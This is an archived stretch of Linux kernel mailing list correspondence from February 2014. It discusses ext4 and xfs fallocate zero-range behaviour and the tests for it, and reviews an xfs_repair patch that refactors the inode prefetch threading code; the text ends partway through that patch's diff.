cuda.sgi.com with ESMTP id Jap3lAZxdaAUnPLC for ; Thu, 27 Feb 2014 03:48:52 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1RBmntQ000882 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 27 Feb 2014 06:48:50 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1RBmkZD004693 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 27 Feb 2014 06:48:48 -0500 Date: Thu, 27 Feb 2014 12:48:46 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range In-Reply-To: <20140226221757.GD29907@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> <20140225215011.GF13647@dastard> <20140226221757.GD29907@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-108984919-1393501728=:2247" X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393501732 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --8323328-108984919-1393501728=:2247 Content-Type: TEXT/PLAIN; charset=utf-8 Content-Transfer-Encoding: 8BIT On Thu, 27 Feb 2014, Dave Chinner wrote: > Date: Thu, 27 Feb 2014 09:17:57 +1100 > From: Dave Chinner > To: Lukáš Czerner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > range > > On Wed, Feb 26, 2014 at 03:58:36PM +0100, Lukáš Czerner wrote: > > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > > Currently xfs/242 fails on xfs for me > > > > > > Really? Where's the bug report? I haven't seen a failure on xfs/242 > > > on any of my test machines for at least a year, even on 1k block > > > size filesystems... > > > > > > $ sudo ./check xfs/242 > > > FSTYP -- xfs (debug) > > > PLATFORM -- Linux/x86_64 test2 3.14.0-rc3-dgc+ > > > MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb > > > MOUNT_OPTIONS -- /dev/vdb /mnt/scratch > > > > > > xfs/242 1s ... 0s > > > Ran: xfs/242 > > > Passed all 1 tests > > > $ > > > > Ok so once again. Yesterday was rally too late and I've > > misinterpreted the diff. It's not that xfs behaves differently, but > > rather ext4 behaves differently because we in fact have a code that > > will zero out entire unwritten extent if it's small enough rather > > than split it into unwritten and written. > > Yes, we've come across this before, and there are several solutions. > this one is used in tests/generic/285: > > # Disable extent zeroing for ext4 as that change where holes ar created > if [ "$FSTYP" = "ext4" ]; then > DEV=`basename $TEST_DEV` > echo 0 >/sys/fs/ext4/$DEV/extent_max_zeroout_kb > fi When testing SEEK_DATA, SEEK_HOLE this is probably just fine. But when it comes to actually changing the extent tree and checking the result I would rather not disable this because it is the default and we want to test that code as well. > > > > > and it does behave differently than ext4. > > > > > > In what way? Does FALLOC_FL_ZERO_RANGE on XFS behave identically to > > > XFS_IOC_ZERO_RANGE, or is that different too? Or you haven't tested > > > it because you wrote this test as an ext4 specific test and so > > > haven't run this specific test exercising the FALLOC_FL_ZERO_RANGE > > > path in XFS? > > > > It does behave differently, but not because of zero_range code, but > > rather when writing into uninitialized extent which is small enough. > > The extent will not be split but rather converted to initialized and > > respective parts will be zeroed out. > > > > Btw that's actually the reason why we use > > > > _filter_hole_fiemap > > > > filtes instead of > > > > _filter_fiemap > > > > I've used in ext4/242. > > Sure, but even so I think we might do better just to use the above > zeroout tune and be explicit in what we expect to happen w.r.t. data > vs holes... > > > > > That said I think that both tests fs specific and fs independent > > have it's value so I'll create generic/242 as well by using > > _filter_hole_fiemap. > > Just use the first unused generic test number - trying to keep test > numbers the same across different subdirs is just going to cause > confusion.... Ok. Thanks! -Lukas > > > > hole punching - the only difference between a hole punch and a zero > > > range on filesystems that use unwritten extents should be that the > > > range being operated on has unwritten extents rather a hole..... > > > > > > > Btw this kind of optimization is actually something I've been > > > > thinking of as well for ext4. Rather than going though the hassle of > > > > changing extents around it might be worth in some situation to zero > > > > out. But that's an optimization I have not implemented yet. > > > > > > Exactly my point - until such optimisations are implemented, all the > > > filesystems should be behaving the same way using unwritten extents, > > > just like for hole punching. Hence the tests should be checking that > > > the behaviour is the same across filesystems, just like we do for > > > hole punching. > > > > Using _filter_hole_fiemap filter in such test we would not make a > > difference between unwritten and written extent. However in the case > > of zero_range this somewhat make the test much less effective so > > it'll be worth having fs specific test as well as generic test I > > said above. > > > > Or we could actually directly inspect the data as we do in xfs/290, or > > generic/290 respectively. > > The md5sum does the data inspection for us. The whole point of > hole punch and zero range and so one is that they are extent > manipulation operations. If we don't check that extents have been > manipulated correctly, then we aren't testing that the key behaviour > the filesystems are supposed to display for those operations.... > > Cheers, > > Dave. > --8323328-108984919-1393501728=:2247-- From lczerner@redhat.com Thu Feb 27 05:57:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7F37929DF7 for ; Thu, 27 Feb 2014 05:57:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2569530408B for ; Thu, 27 Feb 2014 03:57:01 -0800 (PST) X-ASG-Debug-ID: 1393502219-04bdf05daaa0ae0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XGlPqUsCuwRoow46 for ; Thu, 27 Feb 2014 03:57:00 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1RBuvUc007280 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 27 Feb 2014 06:56:57 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1RBusBv024070 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 27 Feb 2014 06:56:55 -0500 Date: Thu, 27 Feb 2014 12:56:54 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: jon ernst cc: "linux-ext4@vger.kernel.org List" , "Theodore Ts'o" , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate In-Reply-To: X-ASG-Orig-Subj: Re: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> <1393355679-11160-6-git-send-email-lczerner@redhat.com> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393502220 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, 26 Feb 2014, jon ernst wrote: > Date: Wed, 26 Feb 2014 23:41:15 -0500 > From: jon ernst > To: Lukas Czerner > Cc: "linux-ext4@vger.kernel.org List" , > Theodore Ts'o , linux-fsdevel@vger.kernel.org, > xfs@oss.sgi.com > Subject: Re: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for > fallocate > > On Wed, Feb 26, 2014 at 1:00 AM, jon ernst wrote: > > On Tue, Feb 25, 2014 at 2:14 PM, Lukas Czerner wrote: > >> Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > >> functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > >> > >> It can be used to convert a range of file to zeros preferably without > >> issuing data IO. Blocks should be preallocated for the regions that span > >> holes in the file, and the entire range is preferable converted to > >> unwritten extents > >> > >> This can be also used to preallocate blocks past EOF in the same way as > >> with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > >> size to remain the same. > >> > >> Also add appropriate tracepoints. > >> > >> Signed-off-by: Lukas Czerner > >> --- > >> fs/ext4/ext4.h | 2 + > >> fs/ext4/extents.c | 270 +++++++++++++++++++++++++++++++++++++++++--- > >> fs/ext4/inode.c | 17 ++- > >> include/trace/events/ext4.h | 64 +++++------ > > >> static int > >> +ext4_ext_convert_initialized_extent(handle_t *handle, struct inode *inode, > >> + struct ext4_map_blocks *map, > >> + struct ext4_ext_path *path, int flags, > >> + unsigned int allocated, ext4_fsblk_t newblock) > >> +{ > >> + int ret = 0; > >> + int err = 0; > >> + > >> + /* > >> + * Make sure that the extent is no bigger than we support with > >> + * uninitialized extent > >> + */ > >> + if (map->m_len > EXT_UNINIT_MAX_LEN) > >> + map->m_len = EXT_UNINIT_MAX_LEN / 2; > > > Pardon my possible dumb question. Why do you use > "EXT_UNINIT_MAX_LEN/ 2;" here instead of "EXT_UNINIT_MAX_LEN" > I don't see the reason why we can't use EXT_UNINIT_MAX_LEN here. > > > (resend, Ping on this question, thank you!) Wow, that's an early ping :) I am sorry to disappoint you, my answer is not going to be that exciting :) Yes, we can just use EXT_UNINIT_MAX_LEN here. But EXT_UNINIT_MAX_LEN/2 would make it much more evenly spread out. I do not think there is any real world advantage to this and the behaviour should be the same in both cases. Thanks! -Lukas > > Thanks! > Jon > From lczerner@redhat.com Thu Feb 27 06:03:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 56F1829DF7 for ; Thu, 27 Feb 2014 06:03:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3C370304043 for ; Thu, 27 Feb 2014 04:03:16 -0800 (PST) X-ASG-Debug-ID: 1393502595-04cb6c56779b950001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id j8H7kS9zkvrzjTNs for ; Thu, 27 Feb 2014 04:03:15 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1RC3CuU009379 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 27 Feb 2014 07:03:13 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1RC39pg010797 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 27 Feb 2014 07:03:11 -0500 Date: Thu, 27 Feb 2014 13:03:09 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range In-Reply-To: <20140226220106.GC29907@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> <20140225215011.GF13647@dastard> <20140226220106.GC29907@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-458918293-1393502592=:2247" X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393502595 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --8323328-458918293-1393502592=:2247 Content-Type: TEXT/PLAIN; charset=utf-8 Content-Transfer-Encoding: 8BIT On Thu, 27 Feb 2014, Dave Chinner wrote: > Date: Thu, 27 Feb 2014 09:01:06 +1100 > From: Dave Chinner > To: Lukáš Czerner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > range > > On Wed, Feb 26, 2014 at 03:24:18PM +0100, Lukáš Czerner wrote: > > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > > > Date: Wed, 26 Feb 2014 08:50:11 +1100 > > > From: Dave Chinner > > > To: Lukáš Czerner > > > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > > > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > > > range > > > > > > On Tue, Feb 25, 2014 at 10:01:06PM +0100, Lukáš Czerner wrote: > > > > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > > > > > > > Date: Wed, 26 Feb 2014 07:53:49 +1100 > > > > > From: Dave Chinner > > > > > To: Lukas Czerner > > > > > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > > > > > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > > > > > range > > > > > > > > > > On Tue, Feb 25, 2014 at 08:15:28PM +0100, Lukas Czerner wrote: > > > > > > This is copy of xfs/242. However it's better to make it file system > > > > > > specific because the range can be zeroes either directly by writing > > > > > > zeroes, or converting to unwritten extent, so the actual result might > > > > > > differ from file system to file system. > > > > > > > > > > You could say the same thing about preallocation using unwritten > > > > > extents. Yet, funnily enough, we have generic tests for them because > > > > > all filesystems currently use unwritten extents for preallocation > > > > > and behave identically.... > > > > > > > > > > This test is no different - all filesystems currently use unwritten > > > > > extents, and so this test should be generic because all existing > > > > > filesystems *should* behave the same. > > > > > > > > > > When we get a filesystem that zeros rather uses unwritten extents, > > > > > we can add a new *generic* test that tests for zeroed data extents > > > > > rather than unwritten extents. All that we will need is a method of > > > > > checking what behaviour the filesystem has and adding that to a > > > > > _requires directive to ensure the correct generic fallocate tests > > > > > are run... > > > > > > > > Currently xfs/242 fails on xfs for me > > > > > > Really? Where's the bug report? I haven't seen a failure on xfs/242 > > > on any of my test machines for at least a year, even on 1k block > > > size filesystems... > > > > > > $ sudo ./check xfs/242 > > > FSTYP -- xfs (debug) > > > PLATFORM -- Linux/x86_64 test2 3.14.0-rc3-dgc+ > > > MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb > > > MOUNT_OPTIONS -- /dev/vdb /mnt/scratch > > > > > > xfs/242 1s ... 0s > > > Ran: xfs/242 > > > Passed all 1 tests > > > $ > > > > Here it is. > > > > xfs/242 fails on ppc64 with latest linus tree > > OK, that's a different kettle of fish. It's using 64k pages, right? 64k pages, yes. > > > # uname -a > > Linux ibm-p740-01-lp4.rhts.eng.bos.redhat.com 3.14.0-rc4+ #1 SMP Wed > > Feb 26 08:59:48 EST 2014 ppc64 ppc64 ppc64 GNU/Linux > > > > # ./check xfs/242 > > FSTYP -- xfs (non-debug) > > PLATFORM -- Linux/ppc64 ibm-p740-01-lp4 3.14.0-rc4+ > > MKFS_OPTIONS -- -f -bsize=4096 /dev/loop1 > > MOUNT_OPTIONS -- -o context=system_u:object_r:nfs_t:s0 /dev/loop1 /mnt/test2 > > > > xfs/242 - output mismatch (see /root/xfstests/results//xfs/242.out.bad) > > --- tests/xfs/242.out 2014-02-26 05:51:16.602579462 -0500 > > +++ /root/xfstests/results//xfs/242.out.bad 2014-02-26 09:20:55.585396040 -0500 > > @@ -1,76 +1,71 @@ > > QA output created by 242 > > 1. into a hole > > 0: [0..7]: hole > > -1: [8..23]: unwritten > > +1: [8..23]: data > > 2: [24..39]: hole > > daa100df6e6711906b61c9ab5aa16032 > > So the data is correct, but the range got zeroes written to it > rather than an unwritten extent. > > > (Run 'diff -u tests/xfs/242.out /root/xfstests/results//xfs/242.out.bad' to see the entire diff) > > Ran: xfs/242 > > Failures: xfs/242 > > Failed 1 of 1 tests > > > > > > Here is 242.out.bad > > The diff would have been better. > > /me goes off to diff the output > > Yeah, ok, the data in all the files is correct - the md5sums all > match. What's different? Just about all unwritten extents are now > written (i.e. data) or contain some portion of written extents. > > So, ZERO_RANGE has the following size threshold for converting > blocks to unwritten extents vs just zeroing them: > > granularity = max_t(uint, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); > > So if this is a 64k page size machine, it's going to have different > extent layout compared to a 4k page size machine. The file data will > still be the same, the difference will be zeroed blocks instead of > unwritten blocks, and that's exactly what we see. > > IOWs, the result in terms of data the application sees is correct, > just the extent layout representing that zeroed data is different. Ok, so that's yet another difference between xfs and ext4 code which makes having generic test even more complicated. So as I said before I'll make the generic test (using _filter_hole_fiemap) and then ext4 specific test as well to really make sure that the extent manipulation is right. Thanks! -Lukas > > Cheers, > > Dave. > --8323328-458918293-1393502592=:2247-- From bfoster@redhat.com Thu Feb 27 08:06:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C8B6F29DF7 for ; Thu, 27 Feb 2014 08:06:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9D2D530408A for ; Thu, 27 Feb 2014 06:06:05 -0800 (PST) X-ASG-Debug-ID: 1393509961-04cb6c5678a4b10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uYNdwTk7vUK3Kqtz for ; Thu, 27 Feb 2014 06:06:01 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1RE5xTM029514 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 27 Feb 2014 09:05:59 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1RE5vU2020789; Thu, 27 Feb 2014 09:05:58 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id C31E5124491; Thu, 27 Feb 2014 09:05:56 -0500 (EST) Date: Thu, 27 Feb 2014 09:05:56 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 08/10] repair: factor out threading setup code Message-ID: <20140227140555.GA62463@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 08/10] repair: factor out threading setup code References: <1393494675-30194-1-git-send-email-david@fromorbit.com> <1393494675-30194-9-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393494675-30194-9-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393509961 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Feb 27, 2014 at 08:51:13PM +1100, Dave Chinner wrote: > From: Dave Chinner > > The same code is repeated in different places to set up > multithreaded prefetching. This can all be factored into a single > implementation. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > repair/dinode.h | 15 ++++++------ > repair/phase3.c | 40 +++---------------------------- > repair/phase4.c | 48 +++---------------------------------- > repair/phase6.c | 22 ++++------------- > repair/prefetch.c | 71 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ > repair/prefetch.h | 10 ++++++++ > 6 files changed, 98 insertions(+), 108 deletions(-) > > diff --git a/repair/dinode.h b/repair/dinode.h > index 7521521..5ee51ca 100644 > --- a/repair/dinode.h > +++ b/repair/dinode.h > @@ -18,9 +18,8 @@ > #ifndef _XR_DINODE_H > #define _XR_DINODE_H > > -#include "prefetch.h" > - > struct blkmap; > +struct prefetch_args; > > int > verify_agbno(xfs_mount_t *mp, > @@ -103,12 +102,12 @@ int > process_uncertain_aginodes(xfs_mount_t *mp, > xfs_agnumber_t agno); > void > -process_aginodes(xfs_mount_t *mp, > - prefetch_args_t *pf_args, > - xfs_agnumber_t agno, > - int check_dirs, > - int check_dups, > - int extra_attr_check); > +process_aginodes(xfs_mount_t *mp, > + struct prefetch_args *pf_args, > + xfs_agnumber_t agno, > + int check_dirs, > + int check_dups, > + int extra_attr_check); > > void > check_uncertain_aginodes(xfs_mount_t *mp, > diff --git a/repair/phase3.c b/repair/phase3.c > index 3e43938..213d368 100644 > --- a/repair/phase3.c > +++ b/repair/phase3.c > @@ -17,6 +17,8 @@ > */ > > #include > +#include "threads.h" > +#include "prefetch.h" > #include "avl.h" > #include "globals.h" > #include "agheader.h" > @@ -24,9 +26,7 @@ > #include "protos.h" > #include "err_protos.h" > #include "dinode.h" > -#include "threads.h" > #include "progress.h" > -#include "prefetch.h" > > static void > process_agi_unlinked( > @@ -82,41 +82,7 @@ static void > process_ags( > xfs_mount_t *mp) > { > - int i, j; > - xfs_agnumber_t agno; > - work_queue_t *queues; > - prefetch_args_t *pf_args[2]; > - > - queues = malloc(thread_count * sizeof(work_queue_t)); > - > - if (ag_stride) { > - /* > - * create one worker thread for each segment of the volume > - */ > - for (i = 0, agno = 0; i < thread_count; i++) { > - create_work_queue(&queues[i], mp, 1); > - pf_args[0] = NULL; > - for (j = 0; j < ag_stride && agno < mp->m_sb.sb_agcount; > - j++, agno++) { > - pf_args[0] = start_inode_prefetch(agno, 0, pf_args[0]); > - queue_work(&queues[i], process_ag_func, agno, pf_args[0]); > - } > - } > - /* > - * wait for workers to complete > - */ > - for (i = 0; i < thread_count; i++) > - destroy_work_queue(&queues[i]); > - } else { > - queues[0].mp = mp; > - pf_args[0] = start_inode_prefetch(0, 0, NULL); > - for (i = 0; i < mp->m_sb.sb_agcount; i++) { > - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 0, > - pf_args[i & 1]); > - process_ag_func(&queues[0], i, pf_args[i & 1]); > - } > - } > - free(queues); > + do_inode_prefetch(mp, ag_stride, process_ag_func, false, false); > } > > void > diff --git a/repair/phase4.c b/repair/phase4.c > index a822aaa..189eeb9 100644 > --- a/repair/phase4.c > +++ b/repair/phase4.c > @@ -17,6 +17,8 @@ > */ > > #include > +#include "threads.h" > +#include "prefetch.h" > #include "avl.h" > #include "globals.h" > #include "agheader.h" > @@ -27,9 +29,7 @@ > #include "bmap.h" > #include "versions.h" > #include "dir2.h" > -#include "threads.h" > #include "progress.h" > -#include "prefetch.h" > > > /* > @@ -150,49 +150,7 @@ static void > process_ags( > xfs_mount_t *mp) > { > - int i, j; > - xfs_agnumber_t agno; > - work_queue_t *queues; > - prefetch_args_t *pf_args[2]; > - > - queues = malloc(thread_count * sizeof(work_queue_t)); > - > - if (!libxfs_bcache_overflowed()) { > - queues[0].mp = mp; > - create_work_queue(&queues[0], mp, libxfs_nproc()); > - for (i = 0; i < mp->m_sb.sb_agcount; i++) > - queue_work(&queues[0], process_ag_func, i, NULL); > - destroy_work_queue(&queues[0]); > - } else { > - if (ag_stride) { > - /* > - * create one worker thread for each segment of the volume > - */ > - for (i = 0, agno = 0; i < thread_count; i++) { > - create_work_queue(&queues[i], mp, 1); > - pf_args[0] = NULL; > - for (j = 0; j < ag_stride && agno < mp->m_sb.sb_agcount; > - j++, agno++) { > - pf_args[0] = start_inode_prefetch(agno, 0, pf_args[0]); > - queue_work(&queues[i], process_ag_func, agno, pf_args[0]); > - } > - } > - /* > - * wait for workers to complete > - */ > - for (i = 0; i < thread_count; i++) > - destroy_work_queue(&queues[i]); > - } else { > - queues[0].mp = mp; > - pf_args[0] = start_inode_prefetch(0, 0, NULL); > - for (i = 0; i < mp->m_sb.sb_agcount; i++) { > - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, > - 0, pf_args[i & 1]); > - process_ag_func(&queues[0], i, pf_args[i & 1]); > - } > - } > - } > - free(queues); > + do_inode_prefetch(mp, ag_stride, process_ag_func, true, false); > } > > > diff --git a/repair/phase6.c b/repair/phase6.c > index 63359d1..446f3ee 100644 > --- a/repair/phase6.c > +++ b/repair/phase6.c > @@ -17,6 +17,8 @@ > */ > > #include > +#include "threads.h" > +#include "prefetch.h" > #include "avl.h" > #include "globals.h" > #include "agheader.h" > @@ -25,9 +27,7 @@ > #include "protos.h" > #include "err_protos.h" > #include "dinode.h" > -#include "prefetch.h" > #include "progress.h" > -#include "threads.h" > #include "versions.h" > > static struct cred zerocr; > @@ -3039,23 +3039,9 @@ update_missing_dotdot_entries( > > static void > traverse_ags( > - xfs_mount_t *mp) > + struct xfs_mount *mp) > { > - int i; > - work_queue_t queue; > - prefetch_args_t *pf_args[2]; > - > - /* > - * we always do prefetch for phase 6 as it will fill in the gaps > - * not read during phase 3 prefetch. > - */ > - queue.mp = mp; > - pf_args[0] = start_inode_prefetch(0, 1, NULL); > - for (i = 0; i < glob_agcount; i++) { > - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, > - pf_args[i & 1]); > - traverse_function(&queue, i, pf_args[i & 1]); > - } > + do_inode_prefetch(mp, 0, traverse_function, false, true); > } > > void > diff --git a/repair/prefetch.c b/repair/prefetch.c > index 946e822..aee6342 100644 > --- a/repair/prefetch.c > +++ b/repair/prefetch.c > @@ -866,6 +866,77 @@ start_inode_prefetch( > return args; > } > > +/* > + * Do inode prefetch in the most optimal way for the context under which repair > + * has been run. > + */ > +void > +do_inode_prefetch( > + struct xfs_mount *mp, > + int stride, > + void (*func)(struct work_queue *, > + xfs_agnumber_t, void *), > + bool check_cache, > + bool dirs_only) > +{ > + int i, j; > + xfs_agnumber_t agno; > + struct work_queue queue; > + struct work_queue *queues; > + struct prefetch_args *pf_args[2]; > + > + /* > + * If the previous phases of repair have not overflowed the buffer > + * cache, then we don't need to re-read any of the metadata in the > + * filesystem - it's all in the cache. In that case, run a thread per > + * CPU to maximise parallelism of the queue to be processed. > + */ > + if (check_cache && !libxfs_bcache_overflowed()) { > + queue.mp = mp; > + create_work_queue(&queue, mp, libxfs_nproc()); > + for (i = 0; i < mp->m_sb.sb_agcount; i++) > + queue_work(&queue, func, i, NULL); > + destroy_work_queue(&queue); > + return; > + } > + > + /* > + * single threaded behaviour - single prefetch thread, processed > + * directly after each AG is queued. > + */ > + if (!stride) { > + queue.mp = mp; > + pf_args[0] = start_inode_prefetch(0, dirs_only, NULL); > + for (i = 0; i < mp->m_sb.sb_agcount; i++) { > + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, > + dirs_only, pf_args[i & 1]); > + func(&queue, i, pf_args[i & 1]); > + } > + return; > + } > + > + /* > + * create one worker thread for each segment of the volume > + */ > + queues 